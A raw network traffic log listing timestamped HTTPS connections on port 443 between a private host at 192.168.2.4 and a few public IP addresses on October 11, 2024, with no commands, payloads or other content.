Oct 11, 2024 20:29:07.636595964 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.636646986 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.639830112 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.640049934 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.640067101 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.761218071 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:07.761255980 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:07.761367083 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:07.763297081 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:07.763309956 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:07.817985058 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.818393946 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.818454027 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.818819046 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.819259882 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.819327116 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.819453001 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.830573082 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.830796003 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.830863953 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.831476927 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.831938982 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.831962109 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.832439899 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.832834005 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.832885027 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.832914114 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.832963943 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.832978964 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.833451033 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.833523989 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.833571911 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.833991051 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.834194899 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.834219933 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.837475061 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.837544918 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.837944031 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.838005066 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.838036060 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.849570990 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:07.849874973 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:07.849899054 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:07.850806952 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:07.850869894 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:07.851954937 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:07.852030039 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:07.863409042 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.866781950 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.866825104 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.866902113 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.866961956 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867003918 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.867136002 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867151976 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867181063 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.867232084 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867300034 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867331982 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.867396116 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867779970 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.867789030 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.868105888 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868119001 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.868133068 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868341923 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868354082 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.868469954 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868486881 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.868596077 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868604898 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.868730068 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.868736982 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.875401974 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.875405073 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.877695084 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.877711058 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.877748013 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.877751112 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.877757072 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.892913103 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:07.892929077 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:07.923356056 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.923357010 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.938436985 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:07.970935106 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.970979929 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.971004963 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.971102953 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.971168041 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.971323967 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.971504927 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.971575975 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.977339983 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.977435112 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.979617119 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.979751110 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.979813099 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.980849028 CEST	49748	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.980885029 CEST	443	49748	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.985326052 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.985444069 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.985511065 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.985554934 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.985698938 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.985750914 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.985908985 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.986015081 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986093044 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.986357927 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.986388922 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986627102 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986665010 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986704111 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.986705065 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986716032 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.986759901 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.987205029 CEST	49750	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.987230062 CEST	443	49750	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.987458944 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.987467051 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.987513065 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:07.991427898 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.991435051 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.991481066 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:07.991508007 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.020307064 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.020800114 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.020832062 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.022294998 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.022380114 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.022762060 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.022924900 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.022938013 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.023016930 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.036911964 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.057893038 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.058178902 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.059211016 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.059220076 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.059303045 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.059335947 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.059398890 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.060123920 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.060200930 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.068312883 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.068345070 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.074244976 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.074254036 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.074292898 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.074331045 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.074336052 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.074383974 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.075140953 CEST	49749	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.075187922 CEST	443	49749	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.100014925 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.100085020 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.100099087 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.100123882 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.100143909 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.105303049 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.105385065 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.105468988 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.105748892 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.105782986 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.115093946 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.115350008 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.115371943 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.116997957 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.118563890 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.118645906 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.119096994 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.119182110 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.119530916 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.119539022 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.144989014 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.158854961 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.158866882 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.158921957 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.159065008 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.159065008 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.159111977 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.159436941 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.159472942 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.159498930 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.159523964 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.159548998 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.160478115 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.160861015 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.160890102 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.160931110 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.160943985 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.160976887 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.162738085 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.162754059 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.162796974 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.162828922 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.162844896 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.162872076 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.162893057 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.180742025 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.181018114 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.181175947 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.181582928 CEST	49751	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.181607008 CEST	443	49751	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.245790958 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.245815992 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.245925903 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.245954990 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.246052980 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.246331930 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.246345997 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.246373892 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.246406078 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.246419907 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.246448040 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.247488976 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.247505903 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.247559071 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.247571945 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.247596979 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.248402119 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.248414040 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.248462915 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.248473883 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.248498917 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.249335051 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.249355078 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.249401093 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.249429941 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.249452114 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.250128984 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.250142097 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.250205994 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.250217915 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.251113892 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.251133919 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.251179934 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.251197100 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.251218081 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.277502060 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.277751923 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.277909040 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.278290987 CEST	49752	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.278318882 CEST	443	49752	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.300049067 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.332787037 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.332807064 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333005905 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333069086 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333142042 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333142996 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333158970 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333187103 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333203077 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333226919 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333237886 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333266973 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333298922 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333353043 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333417892 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333431959 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333878040 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333890915 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.333945990 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.333960056 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334129095 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334188938 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.334202051 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334531069 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334542990 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334592104 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.334606886 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.334631920 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.339730024 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.339745998 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.339804888 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.339818954 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340265036 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340276003 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340336084 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.340348959 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340696096 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340712070 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340753078 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.340770006 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.340794086 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.364602089 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.364933968 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.364967108 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.365025997 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.365267992 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.365291119 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.367957115 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.368119955 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.368184090 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.368448019 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.368458033 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.368521929 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.368839979 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.368839979 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.368946075 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.369060993 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.369137049 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.369189024 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.369206905 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.369251966 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.369259119 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.369968891 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.370043993 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.370279074 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.370372057 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.370449066 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.370465994 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.375910044 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.376091003 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.376097918 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.377469063 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.377528906 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.377580881 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.377621889 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.377640009 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.377827883 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.377897978 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.377901077 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.379045963 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.379111052 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.379407883 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.379478931 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.379488945 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.393996954 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.409790039 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.410887003 CEST	49758	443	192.168.2.4	76.76.21.21
